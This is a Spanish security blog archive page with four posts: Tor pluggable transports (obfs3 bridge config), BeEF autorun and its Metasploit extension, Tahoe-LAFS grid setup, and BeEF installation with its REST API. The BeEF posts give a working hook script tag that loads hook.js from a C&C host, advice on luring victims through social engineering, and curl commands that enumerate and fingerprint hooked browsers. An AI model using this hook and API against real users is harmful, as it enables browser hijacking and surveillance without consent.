info@thehackerway.es
Facebook Linkedin Twitter Youtube
Accede

Mes: julio 2015

Categorías
Hacking Hacking Python Networking Services - Software

Pluggable transports en TOR para la evasión de Deep Packet Inspection

Los puentes (bridges) son una de las formas más “tradicionales” de evadir la censura por parte de países y proveedores del servicio que intentan bloquear las autoridades de directorio y nodos de TOR. Se trata de un mecanismo que funciona bastante bien, ya que los puentes son direcciones que no se encuentran directamente relacionadas con TOR y aunque funcionan exactamente igual que cualquier repetidor, su información no se distribuye públicamente en ninguno de los descriptores emitidos por las autoridades de directorio. Aunque esta medida resulta bastante efectiva para evadir mecanismos de bloqueo simples basados en direcciones o dominios, en los últimos años se ha comenzado a ver que organismos censores implementan técnicas del tipo DPI (Deep Packet Inspection) para analizar el contenido de los paquetes en busca de cualquier indicio o patrón que les permita saber si el paquete en cuestión utiliza el protocolo de TOR. Evidentemente este tipo de técnicas suelen ser muy efectivas y permiten detectar y bloquear cualquier paquete de datos que utilice el protocolo de TOR.
Como siempre, nos encontramos en un constante “tira y afloje”, en el que los mecanismos de censura son mucho más complejos y efectivos, lo cual obliga a implementar técnicas de evasión que puedan ir un paso por delante. Dado que utilizar únicamente los bridges tradicionales ahora no es del todo efectivo (en algunos países), el equipo de TOR lleva unos años mejorando las técnicas de evasión y últimamente se ha venido hablando mucho sobre los Pluggable Transports (PT), cuyo principal objetivo es el de ofuscar el tráfico entre un origen y un bridge por medio de PTs. Dichos PTs se encargan de modificar los paquetes de datos para parezcan peticiones normales, ocultando cualquier indicio que permita descubrir de que se trata de un paquete de datos que hace parte de un flujo de TOR. La siguiente imagen simplifica el funcionamiento del sistema de PTs, el cual como se puede apreciar, no es demasiado complejo.

PTFuncionamiento de los Pluggable Transports en TOR

Pluggable Transports en TOR con Obsproxy

La especificación de “Pluggable Transports” está diseñada para que sea independiente de TOR u otras soluciones de anonimato e indica los pasos y directrices que debe seguir cualquier implementación de PTs. En el caso de TOR, existen varias implementaciones de PTs que se pueden utilizar, siendo Meek y ObsProxy las más soportadas y por supuesto, recomendadas.

Obsproxy es un framework escrito en Python que permite implementar PTs. Utiliza Twisted para todas las operaciones de red y la librería pyptlib la cual ha sido creada por el equipo de TOR específicamente para soportar las características de los PTs. Esta librería es especialmente interesante para aquellas aplicaciones que se encargan de transformar y ofuscar tráfico TCP y que requieren enviar dichos flujos de paquetes a un destino utilizando TOR.

Para utilizar Obsproxy en el lado del cliente (ver la imagen de arriba) se puede ejecutar TOR Browser Bundle, el cual contiene las implementaciones de los principales PTs soportados en TOR. En este caso concreto, Obsproxy y las otras implementaciones de PTs se encuentran incluidas en el directorio “<TOR_BROWSER/Browser/TorBrowser/Tor/PluggableTransports>”. Dichas implementaciones pueden utilizarse en modo cliente cuando se arranca Tor Browser y su configuración es prácticamente automática por medio de un asistente muy simple, el cual se inicia al abrir la configuración de Tor Browser.

pt1Configuración del cliente de TOR Browser

Como se puede apreciar, existen dos posibles escenarios, o bien el cliente se encuentra “censurado” y sus peticiones se encuentran filtradas por medio de un proxy o el cliente cuenta con una conexión directa a Internet, con lo cual no tendrá mayores inconvenientes a la hora de conectarse a la red de TOR. En el segundo caso, el asistente de Tor Browser le permite al cliente especificar cuál tipo de PT desea utilizar y a continuación, se encarga de configurar al instancia para que utilice el PT adecuado.

pt2Selección de un PT en Tor Browser

Después de seleccionar el tipo de PT la conexión a la red de TOR se hará por medio de los bridges que vienen por defecto en el Tor Browser y además, todas las peticiones se harán a un servidor OBSProxy por medio del cliente obfs3 local que se ha indicado. En el caso de que no sea posible realizar la conexión a la red de TOR utilizando los Bridges OBFS3 por defecto, Tor Browser indicará que hay un “censor” que se encuentra bloqueando las peticiones a dichas máquinas y en tal caso, se debe solicitar un conjunto de Bridges nuevo tal como se ha explicado en un artículo anterior.

El fichero “torrc” utilizado por Tor Browser habrá sufrido algunos cambios después de aplicar la configuración anterior y como se puede ver a continuación, dichos cambios incluyen el uso de Bridges OBFS3.

Bridge obfs3 169.229.59.74:31493 AF9F66B7B04F8FF6F32D455F05135250A16543C9Bridge obfs3 83.212.101.3:80 A09D536DD1752D542E1FBB3C9CE4449D51298239

Bridge obfs3 169.229.59.75:46328 AF9F66B7B04F8FF6F32D455F05135250A16543C9

Bridge obfs3 109.105.109.163:47779 4C331FA9B3D1D6D8FB0D8FBBF0C259C360D97E6A

Bridge obfs3 109.105.109.163:38980 1E05F577A0EC0213F971D81BF4D86A9E4E8229ED

DataDirectory /home/adastra/tor-browser_es-ES/Browser/TorBrowser/Data/Tor

GeoIPFile /home/adastra/tor-browser_es-ES/Browser/TorBrowser/Data/Tor/geoip

GeoIPv6File /home/adastra/tor-browser_es-ES/Browser/TorBrowser/Data/Tor/geoip6

UseBridges 1

Por otro lado, en el combo en el que se puede seleccionar un PT, también se puede ver “meek-amazon”, “meek-azure” y “meek-google”. Probablemente el lector se preguntará qué significa eso, pues bien, el PT Meek se basa en HTTPS y se encarga de modificar el tráfico de TOR para que las peticiones parezcan “inocentes” y en este caso concreto, “meek-amazon” se encarga de transformar las peticiones para que parezca que el usuario se encuentra interactuando con la plataforma de Amazon Web Services, “meek-azure” para que parezca que las peticiones se realizan contra la plataforma de servicios web de Microsoft Azure y finalmente “meek-google” modifica los paquetes de datos para que parezca que las peticiones realizadas por el cliente, son simplemente búsquedas en Google. Si bien es un PT muy interesante, actualmente hay varios detalles que se encuentran en estado de desarrollo y la cantidad de PTs del tipo servidor (puentes) es bastante pequeña, por ese motivo siempre se recomienda utilizar el PT de ObsProxy. Sobre Meek se hablará con mayor detalle en un próximo artículo y aunque aquí solamente se ha mencionado la configuración básica del lado del cliente para utilizar un PT con TOR, aun queda haciendo falta explicar la forma en la que se pueden crear Bridges PT que aporten a los usuarios de la red de TOR que se encuentran censurados, esto también lo explicaré en el próximo artículo.

Saludos y Happy Hack!
Adastra.

Categorías
Hacking MetaSploit Networking Services - Software Web Applications

Pentesting automatizado con Beef. Características avanzadas – Parte 2

En el artículo anterior hablaba sobre el proceso de instalación de BeEF y cómo invocar a algunos de los endpoints definidos en su API Rest utilizando cURL y en esta ocasión, voy a explicar cómo utilizar algunas características avanzadas del framework y en el próximo artículo, hablaré sobre cómo utilizar BeEF desde cualquier script en Python.

Ejecutar módulos de forma automática.

Si el panel de control central consigue que muchos usuarios ejecuten el hook en sus navegadores, será una labor bastante tediosa e ineficiente tener que ejecutar los módulos contra cada uno de los objetivos de forma manual. Afortunadamente, los módulos que se encuentran creados en BeEF y los que se pueden crear de forma independiente, deben incluir un fichero de configuración para controlar el comportamiento de dicho módulo, de esta forma, es posible marcar aquellos módulos que resulten interesantes para que se ejecuten de forma automática contra cada nueva víctima, ahorrando mucho tiempo y evitando la necesidad de estar permanentemente pendiente de que se conecten nuevas víctimas y lanzar manualmente los módulos necesarios.
Habilitar esta característica es muy sencillo, solamente hace falta editar el fichero de configuración maestro que se encuentra ubicado en «<BEEF_INSTALL>/config.yaml» y modificar la sección correspondiente a “autorun”

# Autorun modules as soon the browser is hooked.

# NOTE: only modules with target type ‘working’ or ‘user_notify’ can be run automatically.

autorun:

enable: true

allow_user_notify: true

El “autorun” se encuentra habilitado por defecto en el fichero de configuración maestro de la herramienta, sin embargo es necesario activar aquellos módulos que se desea ejecutar cuando se reciba un nuevo zombie, para ello es necesario editar el fichero de configuración “config.yaml” de cada uno de los módulos que se desee activar e incluir la flag “autorun: true”. Todos los módulos de la herramienta se encuentran disponibles en el directorio “<BEEF_INSTALL>/modules” y allí se podrán ver cada uno de los módulos disponibles desde el panel de control de la herramienta. Dentro de cada módulo existe un fichero de configuración llamado “config.yaml”, el cual típicamente contiene una única sección que es “beef” y con una única subsección llamada “module”, en ella se definen todos los detalles de configuración del módulo, incluyendo su nombre, categoría, si se encuentra habilitado o no, entre otros detalles. Este fichero sigue una sintaxis muy similar a los módulos que se encuentran disponibles en Metasploit Framework, ya que es completamente configurable e incluye detalles informativos sobre el funcionamiento del módulo. En este caso, para que un módulo cuyo atributo “target” sea “working” o “user_notify” se pueda lanzar de manera automática ante la conexión de un nuevo zombie, basta con establecer el atributo “autorun” con el valor “true”. El siguiente es un ejemplo del módulo “play_sound” que se encarga de lanzar un zumbido (un poco molesto) en la víctima conectada.

beef:

module:

Play_sound:

enable: true

category: «Browser»

name: «Play Sound»

description: «Play a sound on the hooked browser.»

authors: [«Saafan»]

autorun: true

target:

working: [«All»]

En este caso hay que tener en cuenta que esta característica lo que hace es lanzar todos los módulos que se han marcado con la flag “autorun” contra todas las víctimas que se van conectando, algo que no es deseado en todos los casos, ya que algunos módulos son específicos para un navegador concreto y a veces es mucho mejor poder crear una rutina que permita lanzar un módulo u otro dependiendo de las características del navegador de la víctima. Esto es justo lo que se podría hacer con la API Rest de BeEF y Python, como se verá más adelante.

Extensiones en BeEF

Además de los módulos que permiten ejecutar rutinas en el entorno de la víctima, otra característica muy interesante de BeEF es la posibilidad de ejecutar extensiones que permitirán activar ciertas características en el lado servidor de BeEF. Actualmente existen algunas muy interesantes que permiten integrar otras herramientas de pentesting habituales con BeEF, como es el caso de Metasploit Framework o SET. Para habilitar cualquier extensión disponible en la herramienta o una creada por terceros, se debe editar el fichero de configuración maestro (config.yaml) y habilitar todas las extensiones deseadas en la sección “extension” por ejemplo:

extension:

metasploit:

enable: false

console:

shell:

enable: true

En este caso solamente se habilitan las extensiones de metasploit y la shell de BeEF para trabajar con la herramienta desde línea de comandos en lugar de hacerlo desde la interfaz web.

Para utilizar la extensión de Metasploit, es necesario cargar el modulo “msgrpc” desde “msfconsole” o ejecutar la utilidad “msfrpcd” de Metasploit Framework. En cualquiera de los dos casos, se conseguirá levantar un servicio que permitirá la interacción de forma programática con Metasploit Framework con aplicaciones externas, como es el caso de BeEF.

La siguiente imagen enseña cómo se puede cargar el módulo “msgrpc” desde “msfconsole”

 msgrpcCargando el módulo msgrpc

Ahora que el fichero de configuración maestro ya se encuentra preparado para soportar al extensión de metasploit framework y el servicio MSGRPC se encuentra levantado, es el momento de configurar la extensión e indicar los detalles de conexión con el servidor. Para ello se debe editar el fichero de configuración de la extensión de metasploit, el cual se encuentra ubicado en la siguiente ruta “<BEFF_INSTALL>/extensions/metasploit”. Allí se deben incluir como mínimo, las propiedades que permiten establecer una conexión con el servicio MSGRPC.

Ahora, es el momento de arrancar BeEF y para ello, se puede utilizar la opción “-v” y ver el detalle de las operaciones realiza la herramienta. Como se puede ver en la siguiente imagen.

beefmsfConexión entre Beef y Metasploit

Después de esto, los módulos de metasploit framework quedarán registrados en el panel de control de BeEF como si se tratara de cualquier otro módulo de la herramienta. Evidentemente, algunos de dichos módulos requieren una preparación previa y establecer ciertos valores de configuración, pero desde BeEF se puede hacer utilizando un asistente muy simple.

beefmsf2Módulos de metasploit framework en BeEF

Otra extensión muy interesante es la extensión “console”, la cual permite sustituir el panel de control web por una interfaz por línea de comandos para controlar todos los zombies y realizar otras actividades, del mismo modo que se puede hacer con la utilidad msfconsole de metasploit framework. Para activar esta extensión, la cual viene desactivada por defecto, se debe editar el fichero de configuración principal (config.yaml) y en la sección de extensiones incluir lo siguiente:

console:

shell:

enable: false

Ahora, cuando se arranque la herramienta, en lugar de ver un mensaje indicando que se ha iniciado un servidor web para la gestión de los zombies, se podrá ver un interprete desde el cual se podrán ejecutar comandos.

beefconsoleConsola de BeEF

Desde esta consola se pueden ejecutar varios comandos, los cuales se pueden consultar con el comando “help”, dichos comandos permiten cumplir con exactamente las mismas funciones que se pueden llevar a cabo desde la interfaz web

beefconsole2Comandos disponibles en la consola de BeEF.

Existen otros módulos y extensiones que actualmente se encuentran en desarrollo y que probablemente estarán disponibles en los próximos meses, con lo cual se espera que poco a poco, su uso sea mucho más difundido y alcance los niveles de popularidad de otras herramientas de pentesting y hacking similares.

Saludos y Happy Hack!
Adastra.

Categorías
FileSystem Hacking Networking Services - Software

Tahoe-LAFS. Creación y configuración de grids – Parte 2

En el primer articulo he hablado sobre el funcionamiento de Tahoe-LAFS y los motivos por los que resulta mucho más interesante utilizar un sistema descentralizado de este tipo en la nube, que uno de los servicios convencionales con los problemas que implica. Tahoe es un sistema de almacenamiento distribuido que se puede montar en un segmento de red local o incluso directamente en Internet siendo muy fácil de configurar y bastante estable. Tal como explicaba en el primer artículo, los clientes de un “grid” pueden subir ficheros y directorios de forma privada y segura, ya que los servidores de almacenamiento del sistema no tienen la capacidad de leer y/o escribir sobre dichos ficheros, solamente se limitan a almacenarlos y compartirlos en el caso de que se encuentren configurados para hacerlo. En Tahoe es posible crear varios tipos de nodos que tienen un funcionamiento muy concreto, es así como se pueden crear nodos cliente, servidor, introducers, servidores de estadísticas y generadores de claves. Desde luego, los nodos cliente, servidor y los introducers son los más interesantes desde el punto de vista funcional, ya que permiten crear un grid sobre el que se pueden subir documentos.
En el primer artículo se explicaba en qué consistía Tahoe, cómo instalarlo y crear un cliente básico, el cual se conectaba a un grid por medio de un introducer que se encuentra disponible en el proyecto para que los usuarios interesados puedan llevar a cabo pruebas contra un sistema en funcionamiento. Dicho introducer se encuentra disponible en internet a cualquiera que desee conectar sus nodos clientes de Tahoe con el sistema de pruebas del proyecto, las instrucciones para conectarse a dicho servicio se encuentra detalladas en el siguiente enlace: https://tahoe-lafs.org/trac/tahoe-lafs/wiki/TestGrid.

Para realizar pruebas está bastante bien, sin embargo es mucho más interesante crear un grid propio y configurarlo de tal forma que sea posible utilizar Tahoe de forma privada y confidencial con otros usuarios en Internet. Para conseguir esto, es necesario crear en primer lugar un “introducer”, el cual como ya se ha explicado antes, es el encargado de conectar al cliente con el sistema de grid, el cual se compone de 1 o muchos servidores de almacenamiento. A continuación se explica el procedimiento para crear un introducer ejecutando la utilidad “tahoe”.

En primer lugar, es necesario crear un directorio en el que se deberán crear los ficheros de configuración del introducer, una vez creado dicho directorio, es necesario ubicarse en él y ejecutar el siguiente comando.

>tahoe create-introducer /adastraData/AdastraRealm/Hacking/networkHacking/AdastraIntroducerIntroducer created in ‘/adastraData/AdastraRealm/Hacking/networkHacking/AdastraIntroducer’

Después de crear el introducer, todos los ficheros y la configuración necesaria para que el nodo funcione correctamente, se habrá desplegado en el directorio especificado. En dicho directorio, se ha  tenido que crear un subdirectorio llamado “private” el cual contendrá un fichero con nombre “introducer.furl” el cual contiene la dirección del introducer que debe ser utilizada por otros usuarios para que puedan conectarse al sistema de grid.

A continuación, se puede iniciar el nodo ejecutando el comando “tahoe” con el argumento “start”

>tahoe start /adastraData/AdastraRealm/Hacking/networkHacking/AdastraIntroducerSTARTING ‘/adastraData/AdastraRealm/Hacking/networkHacking/AdastraIntroducer’

starting node in ‘/adastraData/AdastraRealm/Hacking/networkHacking/AdastraIntroducer’

Ahora que el introducer se encuentra iniciado, es el momento de probar si su funcionamiento es correcto, para ello se debe utilizar un nodo cliente de Tahoe y conectarlo con el introducer. Esto ya se ha visto en el artículo anterior, así que partiendo del cliente creado en dicho artículo, basta simplemente con editar el fichero de configuración del nodo (tahoe.cfg) y modificar la propiedad “introducer.furl” que se encuentra en la sección “[client]”. El valor que debe asumir dicha propiedad debe ser el mismo que se ha generado a la hora de crear el introducer y que se encuentra contenido en el fichero “<INTRODUCER_DIR>/private/introducer.furl”.

Una vez el cliente apunta al introducer, se procede a arrancar.

>tahoe run ~/.tahoe/ STARTING ‘/home/adastra/.tahoe’

running node in ‘/home/adastra/.tahoe’

2015-06-28 21:38:53+0200 [-] Log opened.

2015-06-28 21:38:53+0200 [-] twistd 13.2.0 (/usr/bin/python 2.7.6) starting up.

2015-06-28 21:38:53+0200 [-] reactor class: twisted.internet.epollreactor.EPollReactor.

2015-06-28 21:38:53+0200 [-] Listener starting on 37384

2015-06-28 21:38:53+0200 [-] NevowSite starting on 3456

2015-06-28 21:38:53+0200 [-] Starting factory <nevow.appserver.NevowSite instance at 0x7f81a2bf2440>

2015-06-28 21:38:53+0200 [-] My pid: 11224

2015-06-28 21:38:53+0200 [-] DatagramProtocol starting on 38362

2015-06-28 21:38:53+0200 [-] Starting protocol <twisted.internet.protocol.DatagramProtocol instance at 0x7f81a2c03a28>

2015-06-28 21:38:53+0200 [-] (UDP Port 38362 Closed)

2015-06-28 21:38:53+0200 [-] Stopping protocol <twisted.internet.protocol.DatagramProtocol instance at 0x7f81a2c03a28>

Ahora que el cliente ha iniciado correctamente, se puede verificar si se encuentra conectado con el introducer creado previamente, para ello basta con ingresar a la consola web del nodo, la cual se encuentra levantada en el puerto 3456.

tahoeintroducer

Cliente de Tahoe conectado a un Introducer.

Finalmente, se puede detener el introducer ejecutando el comando “tahoe” con el argumento “stop”

>tahoe stop /adastraData/AdastraRealm/Hacking/networkHacking/AdastraIntroducerSTOPPING ‘/adastraData/AdastraRealm/Hacking/networkHacking/allmydata-tahoe-1.10.1/AdastraIntroducer’

process 11081 is dead

Ahora bien, hasta este punto solamente se ha creado un introducer y se ha podido verificar que un cliente en Tahoe puede conectarse y subir/descargar documentos, sin embargo, tal como se podía apreciar en la imagen anterior, en el sistema de grid no existe ningún servidor de almacenamiento conectado, lo que significa que el sistema no funcionará correctamente cuando un cliente intente subir documentos.

Un sistema de grid no tiene ningún sentido si no existen uno o varios servidores de almacenamiento y para crear uno, nuevamente es necesario modificar el fichero de configuración de Tahoe e indicar que la instancia que utilice dicho fichero funcionará como un servidor de almacenamiento. Como se ha mencionado antes, los servidores de almacenamiento no tienen la capacidad de acceder a los ficheros que se suben a su espacio de almacenamiento, ya que se encuentran cifrados y solamente el cliente con la clave adecuada puede llegar a ellos. En este sentido, se trata de un “Data Store” cifrado, un concepto que es bastante utilizado en redes anónimas que siguen un modelo de compartición distribuido y privado, como es el caso de Freenet.

Para que una instancia de Tahoe pueda funcionar como un servidor de almacenamiento, se debe editar el fichero de configuración de dicha instancia (tahoe.cfg) y establecer las propiedades de dicho servidor en la sección “storage”, además, la propiedad “enabled” tiene que tener el valor “true” para que dicha instancia funcione como un servidor de almacenamiento.

[storage]# Shall this node provide storage service?

enabled = true

readonly = false

reserved_space = 1G

A continuación, dicha instancia de Tahoe debe vincularse con el introducer tal como se ha visto anteriormente, para ello se debe indicar el valor adecuado en la propiedad “introducer.furl”.

Finalmente, se ejecuta el servidor de almacenamiento como ocurre con cualquier instancia de Tahoe, utilizando el comando “run”

>tahoe run /server/tahoe/STARTING ‘/server/tahoe’

running node in ‘/server/.tahoe’

2015-07-12 19:52:55+0200 [-] Log opened.

2015-07-12 19:52:55+0200 [-] twistd 15.2.1 (/usr/bin/python 2.7.6) starting up.

2015-07-12 19:52:55+0200 [-] reactor class: twisted.internet.epollreactor.EPollReactor.

2015-07-12 19:52:55+0200 [-] Listener starting on 37384

2015-07-12 19:52:55+0200 [-] NevowSite starting on 3456

2015-07-12 19:52:55+0200 [-] Starting factory <nevow.appserver.NevowSite instance at 0x7f5e31f24cb0>

2015-07-12 19:52:55+0200 [-] My pid: 14783

2015-07-12 19:52:55+0200 [-] DatagramProtocol starting on 37926

2015-07-12 19:52:55+0200 [-] Starting protocol <twisted.internet.protocol.DatagramProtocol instance at 0x7f5e31ed04d0>

2015-07-12 19:52:55+0200 [-] (UDP Port 37926 Closed)

2015-07-12 19:52:55+0200 [-] Stopping protocol <twisted.internet.protocol.DatagramProtocol instance at 0x7f5e31ed04d0>

Ahora el servidor de almacenamiento se debe encontrar vinculado con el introducer y con esto será suficiente para que los clientes puedan subir ficheros en la nube.

tahoeserver

Registro del storage server

Como se puede apreciar, el sistema de grid ahora cuenta con un servidor de almacenamiento, sin embargo serán necesario más servidores para que se puedan subir documentos y ficheros sin dificultades, es decir, contar con una red real de servidores distribuidos para el almacenamiento de ficheros y documentos.

Saludos y Happy Hack!
Adastra.

Categorías
Hacking Hacking Python Programacion Web Applications

Pentesting automatizado con Beef y su API Rest – Parte 1

Beef (The Browser Exploitation Framework) ha tenido una evolución bastante interesante en los últimos años y se han añadido mejoras que le convierten en una herramienta que se debe tener en cuenta a la hora de realizar pruebas de penetración u otras actividades relacionadas con el hacking. Se trata de un framework del que ya he hablado hace algún tiempo en varias entradas en las que comentaba cómo automatizar ataques XSS con Beef y cómo integrar Beef con Metasploit Framework. El proceso de instalación y otros detalles de la herramienta han cambiado un poco desde aquel entonces y por ese motivo, me he animado a escribir un parde artículos en los que voy a explicar cómo instalar la última versión de Beef, consumir la API Rest que se encuentra disponible en el Framework para automatizar tareas y otras características interesantes.

Instalando Beef

Beef se encuentra desarrollado en Ruby, con lo cual es necesario contar con el interprete de Ruby instalado en el sistema. En mi experiencia, suele ser un poco complicado trabajar con herramientas como Beef y Metasploit Framework cuando se utilizan diferentes versiones de Ruby, por ese motivo siempre es recomendable utilizar RVM (Ruby Version Manager) para poder activar y gestionar varias versiones de Ruby sobre el mismo sistema. Puedes echarle un vistazo al sitio web oficial del proyecto (https://rvm.io/) veras que te va a facilitar las cosas y te va a ahorrar mucho tiempo.

Dicho esto, el primer paso para instalar Beef consiste en descargar la última versión del proyecto que se encuentra disponible en su repositorio Github.

>git clone https://github.com/beefproject/beef.git beef-lastest

>cd beef-lastest
>gem install bundler

Fetching: bundler-1.10.5.gem (100%)

Successfully installed bundler-1.10.5

Parsing documentation for bundler-1.10.5

Installing ri documentation for bundler-1.10.5

Done installing documentation for bundler after 3 seconds

1 gem installed

>bundle install

>./beef

runningbeefEjecutando Beef

Si estas utilizando RVM, debes activar un entorno de Ruby que se encuentre instalado en RVM, para ello basta con ejecutar el siguiente comando

>source <HOME_USER>/.rvm/scripts/rvm

Como se puede apreciar, se han levantado algunos servicios y se ha vinculado el puerto 3000 para interactuar con el panel de control. Además, vemos que se ha generado una API Key para interactuar con los servicios Rest de la plataforma, esto será útil posteriormente para automatizar el uso de Beef. Por otro lado, cuando se intenta acceder a la página principal de Beef, se solicita un nombre de usuario y una contraseña, los cuales por defecto son “beef”/“beef”. Todos estos detalles se pueden cambiar muy fácilmente editando el fichero <BEEF_INSTALL>/config.yaml

Funcionamiento de Beef

Beef, a diferencia de otras herramientas de pentesting web, se centra en el contexto de los clientes y utilizando un hook en Javascript, permite crear una red de bots que pueden ser controlados desde un panel de control central. Basta con que un usuario navegue por un sitio web que contenga dicho hook para que automáticamente haga parte de esa red de bots. Hay que tener en cuenta que dicho hook no explota ninguna vulnerabilidad 0day sobre los navegadores web o cosas similares, sino que simplemente incluye varias rutinas desarrolladas en Javascript que realizan peticiones contra el panel de control de Beef y desde dicho panel de control, se pueden enviar instrucciones al hook para que realice tareas sobre el entorno (navegador web) de la víctima, de esta forma es posible acceder a información básica del navegador web, activar o desactivar plugins y extensiones o incluso forzar la navegación hacia sitios web arbitrarios, obviamente sin la debida autorización por parte de la víctima. La siguiente imagen enseña la arquitectura de Beef y como se puede ver, se compone por un servidor centrar del C&C y una serie de zombies que se encuentran “infectados” por el hook. Ahora bien, esta supuesta “infección” no es persistente ni mucho menos, ya que se trata simplemente de un fichero Javascript se ejecuta en el contexto de la página web visitada por la víctima, basta con cerrar dicha página web y problema resuelto.

beefarchitectureArquitectura de beef

La imagen anterior ha sido tomada del sitio web oficial de Beef y se puede apreciar perfectamente el funcionamiento de la herramienta que es simple y a su vez muy potente.
Cuando una víctima accede a una página web que contiene el hook y a menos que exista algún bloqueo de las peticiones HTTP entre el C&C de Beef y la víctima, aparecerá automáticamente en el panel de control un nuevo bot.
A partir de aquí, es el momento de establecer el vector de ataque. Debes crear una página web que incluya el script “hook.js” y evidentemente, entre mejor elaborado sea dicho vector, mejores resultados (+ víctimas) lograrás conseguir. Aquí entra en juego la creatividad y definir quien o quienes van a ser los objetivos del ataque, de tal forma que puedas ofrecer algo que tus víctimas potenciales puedan querer y les invite a entrar y permanecer en el sitio web que ejecuta el hook, aquí las técnicas de ingeniería social son vitales y ofrecer un servicio perfectamente “legitimo” como un juego online o algún servicio web concreto, puede ser lo suficientemente atractivo para la víctima como para que decida visitar el sitio y permanecer en él algún tiempo. Dicha página lo único que necesita tener es esto:

<script src=»http://192.168.1.98:3000/hook.js» type=»text/javascript»></script>

Así de fácil.

Cuando una víctima accede a la página web maliciosa, automáticamente se convierte en un bot del C&C de Beef, tal como se enseña en la siguiente imagen.

victimbeef

Automatización de Beef con su API Rest

Ahora viene la parte divertida, Beef cuenta con una API Rest que permite la automatización de tareas, algo que desde luego viene muy bien cuando se deben gestionar múltiples víctimas y resulta muy ineficiente (y tedioso) hacerlo desde la interfaz web. Su uso es bastante simple y como se ha visto en líneas anteriores, solamente es necesario contar con la API Key que genera la herramienta de forma automática cuando se levanta Beef. Con dicha API Key se pueden invocar los endpoints definidos en la API y de esta forma, obtener información del C&C de Beef en formato JSON. Para hacer pruebas simples se puede utilizar una herramienta con CURL o WGET y posteriormente, utilizar un lenguaje como Python o Ruby para crear rutinas que permitan invocar múltiples endpoints y hacer cosas mucho más interesantes.

Obtener el listado de víctimas

>curl http://localhost:3000/api/hooks?token=4ecc590cb776484412492a7bd3f0ad03cd47660
{«hooked-browsers»:{«online»:{«0»:{«id»:1,»session»:»ZHHT3vCTs9NRDvSmtoiWs0GfgjJYBNRctWlhx5aJKtwczH7klN6fmInMZi0K9hxirSZm56TRRD4OaqHi»,»name»:»FF»,»version»:»38″,»os»:»Linux»,»platform»:»Linux x86_64″,»ip»:»192.168.1.98″,»domain»:»Unknown»,»port»:»0″,»page_uri»:»file:///home/adastra/Escritorio/testing.html»}},»offline»:{}}}

Como se puede ver, aparecen los bots que salen en el panel de control de Beef y en este caso, cada “hooked-browser” puede encontrarse online u offline y cuenta con un identificador (atributo “session”) que puede ser utilizado para realizar consultas contra ese bot concreto como por ejemplo…

Recuperar los detalles del navegador web de un bot concreto

>curl http://localhost:3000/api/hooks/ZHHT3vCTs9NRDvSmtoiWs0GfgjJYBNRctWlhx5aJKtwczH7klN6fmInMZi0K9hxirSZm56TRRD4OaqHi?token=4ecc590cb776484412492a7bd3f0ad03cd47660a
{«BrowserLanguage»:»es-ES»,»BrowserName»:»FF»,»BrowserPlatform»:»Linux x86_64″,»BrowserPlugins»:»DivX® Web Player-v.,Google Talk Plugin-v.,Google Talk Plugin Video Renderer-v.,Java(TM) Plug-in 10.80.2-v.10.80.2,QuickTime Plug-in 7.6.6-v.,Shockwave Flash-v.11.2.202.468,VLC Multimedia Plugin (compatible Videos 3.10.1)-v.,Windows Media Player Plug-in 10 (compatible; Videos)-v.,iTunes Application Detector-v.»,»BrowserReportedName»:»Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0″,»BrowserType»:»{\»C19iOS\»:null,\»C20iOS\»:null,\»C21iOS\»:null,\»C22iOS\»:null,\»C23iOS\»:null,\»C24iOS\»:null,\»C25iOS\»:null,\»C26iOS\»:null,\»C27iOS\»:null,\»C28iOS\»:null,\»C29iOS\»:null,\»C30iOS\»:null,\»C31iOS\»:null,\»C32iOS\»:null,\»C33iOS\»:null,\»C34iOS\»:null,\»C35iOS\»:null,\»C36iOS\»:null,\»C37iOS\»:null,\»C38iOS\»:null,\»C39iOS\»:null,\»C40iOS\»:null,\»C41iOS\»:null,\»C42iOS\»:null,\»C\»:null,\»FF38\»:true,\»FF\»:true}»,»BrowserVersion»:»38″,»CPU»:»64-bit»,»Cookies»:»BEEFHOOK=ZHHT3vCTs9NRDvSmtoiWs0GfgjJYBNRctWlhx5aJKtwczH7klN6fmInMZi0K9hxirSZm56TRRD4OaqHi»,»DateStamp»:»Wed Jul 08 2015 22:02:28 GMT+0200 (CEST)»,»DefaultBrowser»:»Unknown»,»Hardware»:»Unknown»,»HasActiveX»:»No»,»HasFlash»:»Yes»,»HasGoogleGears»:»No»,»HasPhonegap»:»No»,»HasQuickTime»:»Yes»,»HasRealPlayer»:»No»,»HasWMP»:»Yes»,»HasWebRTC»:»Yes»,»HasWebSocket»:»Yes»,»HostName»:»Unknown»,»IP»:»192.168.1.98″,»OsName»:»Linux»,»PageReferrer»:»Unknown»,»PageTitle»:»Unknown»,»PageURI»:»file:///home/adastra/Escritorio/testing.html»,»ScreenSize»:»{\»width\»=>1920, \»height\»=>1080, \»colordepth\»=>24}»,»TouchEnabled»:»No»,»VBScriptEnabled»:»No»,»WindowSize»:»{\»width\»=>1865, \»height\»=>953}»,»hasPersistentCookies»:»Yes»,»hasSessionCookies»:»Yes»}

En este caso, el valor “session” del bot nos permite acceder a todos los detalles del navegador web de la víctima, algo que puede ser utilizado para posteriormente ejecutar ataques dirigidos contra dicho bot.

Accediendo a los logs de un bot

>curl http://localhost:3000/api/logs/ZHHT3vCTs9NRDvSmtoiWs0GfgjJYBNRctWlhx5aJKtwczH7klN6fmInMZi0K9hxirSZm56TRRD4OaqHi?token=4ecc590cb776484412492a7bd3f0ad03cd47660a
{«logs_count»:42,»logs»:[{«id»:2,»date»:»2015-07-08T22:02:28+02:00″,»event»:»192.168.1.98 appears to have come back online»,»type»:»Zombie»},{«id»:3,»date»:»2015-07-08T22:02:28+02:00″,»event»:»192.168.1.98 just joined the horde from the domain: Unknown:0″,»type»:»Zombie»},{«id»:4,»date»:»2015-07-08T22:02:29+02:00″,»event»:»0.012s – [Focus] Browser window has regained focus.»,»type»:»Event»},…….

También se puede acceder a los logs de que se han producido para un bot concreto, nuevamente partiendo del valor “session” del bot en cuestión.

Listando los módulos disponibles en Beef

>curl http://localhost:3000/api/modules?token=4ecc590cb776484412492a7bd3f0ad03cd47660a

{«0»:{«id»:1,»class»:»Iframe_above»,»name»:»Create Foreground iFrame»,»category»:»Persistence»},»1″:{«id»:2,»class»:»Confirm_close_tab»,»name»:»Confirm Close Tab»,»category»:»Persistence»},»2″:{«id»:3,»class»:»Man_in_the_browser»,»name»:»Man-In-The-Browser»,»category»:»Persistence»},»3″:{«id»:4,»class»:»Popunder_window»,»name»:»Create Pop Under»,

………

